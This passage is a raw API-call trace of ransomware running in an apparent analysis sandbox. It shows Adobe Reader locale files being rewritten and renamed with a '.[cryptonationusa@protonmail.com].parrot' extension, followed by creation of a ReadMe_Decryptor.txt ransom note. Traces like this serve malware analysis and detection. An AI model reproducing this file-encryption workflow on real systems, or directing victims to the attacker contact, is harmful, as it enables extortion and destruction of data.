liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.831] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.833] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.833] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x11a00, lpOverlapped=0x0) returned 1 [0249.834] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.835] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\makeaccessible.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\makeaccessible.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\makeaccessible.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\makeaccessible.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.837] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9e90 | out: hHeap=0x5b0000) returned 1 [0249.837] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.837] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de648 | out: hHeap=0x5b0000) returned 1 [0249.839] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.840] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.880] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.880] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x13200, lpOverlapped=0x0) returned 1 [0249.882] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.883] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Multimedia.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\multimedia.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Multimedia.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\multimedia.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.887] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9e90 | out: hHeap=0x5b0000) returned 1 [0249.887] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.887] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de648 | out: hHeap=0x5b0000) returned 1 [0249.890] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.890] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.894] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.894] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0249.895] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.895] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\pddom.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\pddom.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\pddom.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\pddom.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329bcf0 | out: hHeap=0x5b0000) returned 1 [0249.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0249.899] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.899] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.901] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.901] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7d000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7d000, lpOverlapped=0x0) returned 1 [0249.917] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.040] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\PPKLite.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ppklite.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\PPKLite.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ppklite.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.044] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9e90 | out: hHeap=0x5b0000) returned 1 [0250.044] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0250.044] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0250.048] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.048] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.050] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.050] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0250.276] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.276] WriteFile (in: hFile=0x1b0, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 [0250.279] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.280] WriteFile (in: hFile=0x1b0, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0250.282] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x145118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0250.282] CloseHandle (hObject=0x1b0) returned 1 [0250.283] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\RdLang32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\rdlang32.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\RdLang32.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\rdlang32.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9e90 | out: hHeap=0x5b0000) returned 1 [0250.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0250.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0250.355] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.356] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.357] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.357] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0250.363] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.372] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\ReadOutLoud.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\readoutloud.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\ReadOutLoud.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\readoutloud.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9e90 | out: hHeap=0x5b0000) returned 1 [0250.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0250.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0250.379] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.379] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.381] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.381] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1200, lpOverlapped=0x0) returned 1 [0250.382] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.383] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\reflow.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\reflow.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\reflow.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\reflow.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.386] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329bcf0 | out: hHeap=0x5b0000) returned 1 [0250.386] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0250.386] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0250.389] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.389] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.390] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.391] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4600, lpOverlapped=0x0) returned 1 [0250.392] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.393] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\SaveAsRTF.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\saveasrtf.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\SaveAsRTF.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\saveasrtf.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9e90 | out: hHeap=0x5b0000) returned 1 [0250.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0250.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a2588 | out: hHeap=0x5b0000) returned 1 [0250.399] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.399] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.400] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.400] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5a00, lpOverlapped=0x0) returned 1 [0250.403] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0250.403] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.403] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0250.403] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0250.403] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0250.403] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0250.403] GetLastError () returned 0x0 [0250.405] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.405] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0250.405] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0250.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.405] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0250.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0250.405] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0250.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0250.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0250.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0250.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0250.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0250.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0250.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0250.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0250.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0250.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0250.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0250.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0250.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0250.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0250.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0250.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0250.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0250.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0250.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0250.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0250.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0250.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0250.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0250.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0250.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0250.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0250.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0250.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0250.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0250.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0250.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0250.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0250.407] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0250.407] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0250.407] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0250.407] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0250.407] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0250.407] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x329e548 [0250.407] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0250.407] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x32aa5c8 [0250.407] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0250.407] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x32aed18 [0250.407] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0250.407] WriteFile (in: hFile=0x1b0, lpBuffer=0x32aed20*, nNumberOfBytesToWrite=0x5b28, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x32aed20*, lpNumberOfBytesWritten=0x18e8f4*=0x5b28, lpOverlapped=0x0) returned 1 [0250.410] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aed18 | out: hHeap=0x5b0000) returned 1 [0250.410] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5b18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0250.410] CloseHandle (hObject=0x1b0) returned 1 [0250.410] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x315d788 [0250.410] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x329bcf0 [0250.410] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0250.410] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Search.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\search.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Search.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\search.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.412] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329bcf0 | out: hHeap=0x5b0000) returned 1 [0250.412] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0250.412] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a2588 | out: hHeap=0x5b0000) returned 1 [0250.412] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0250.412] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0250.412] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0250.412] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0250.412] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\ReadMe_Decryptor.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0250.413] GetFileType (hFile=0x1b0) returned 0x1 [0250.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 